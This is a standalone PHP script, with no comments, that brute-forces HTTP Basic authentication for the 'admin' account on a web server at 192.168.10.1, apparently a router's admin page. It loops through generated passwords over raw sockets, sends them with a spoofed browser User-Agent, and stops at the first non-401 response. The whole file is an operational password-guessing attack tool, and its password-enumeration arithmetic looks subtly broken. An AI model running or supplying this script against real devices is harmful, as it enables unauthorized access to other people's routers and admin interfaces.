#! /usr/bin/env php
<?php
$characters = '_ !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~';

$iter_cur = $argv[1];
$iter_max = $argv[2];
function iter_next() {
    global $iter_cur, $iter_max, $characters;

    $pwd_trying = '';
    if (++$iter_cur > $iter_max) {
        printf("All range tested!\n");
        exit;
    }

    $i = 1;
    $k = $iter_cur;
    while ($k > 0) {
        $j = ($k % pow(95, $i))/pow(95, $i - 1);
        $k -= $j * pow(95, $i - 1);
        $i += 1;
        $pwd_trying .= $characters[$j];
    }

    return $pwd_trying;
}


while (TRUE) {
    $sock_fd = socket_create(AF_INET, SOCK_STREAM, 0);
    if (socket_connect($sock_fd, '192.168.10.1', 80) === FALSE) {
        printf("Error with connect to 192.168.10.1:80\n");
        break;
    }

    $pwd_trying = iter_next();
    $req_content = 'GET / HTTP/1.1'."\r\n".
            'Host: 192.168.10.1'."\r\n".
            'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16) Gecko/20110323 Ubuntu/10.10 (maverick) Firefox/3.6.16'."\r\n".
            'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'."\r\n".
            'Accept-Language: en-us,en;q=0.5'."\r\n".
            'Accept-Encoding: gzip,deflate'."\r\n".
            'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7'."\r\n".
            'Keep-Alive: 115'."\r\n".
            'Connection: keep-alive'."\r\n".
            'Authorization: Basic '.base64_encode('admin:'.$pwd_trying)."\r\n\r\n";

    printf("trying `%s`...\n", $pwd_trying);
    if (socket_write($sock_fd, $req_content) === FALSE) {
        printf("Error with write content to socket.\n");
        exit;
    }

    $response_text = '';
    while (TRUE) {
        $chunked_content = socket_read($sock_fd, 8192);
        $response_text .= $chunked_content;
        if (empty($chunked_content)) {
            break;
        }
    }

    if (strpos($response_text, 'HTTP/1.1 401 Unauthorized') === FALSE) {
        printf("Password found: `%s`\n", $pwd_trying);
        break;
    }
}


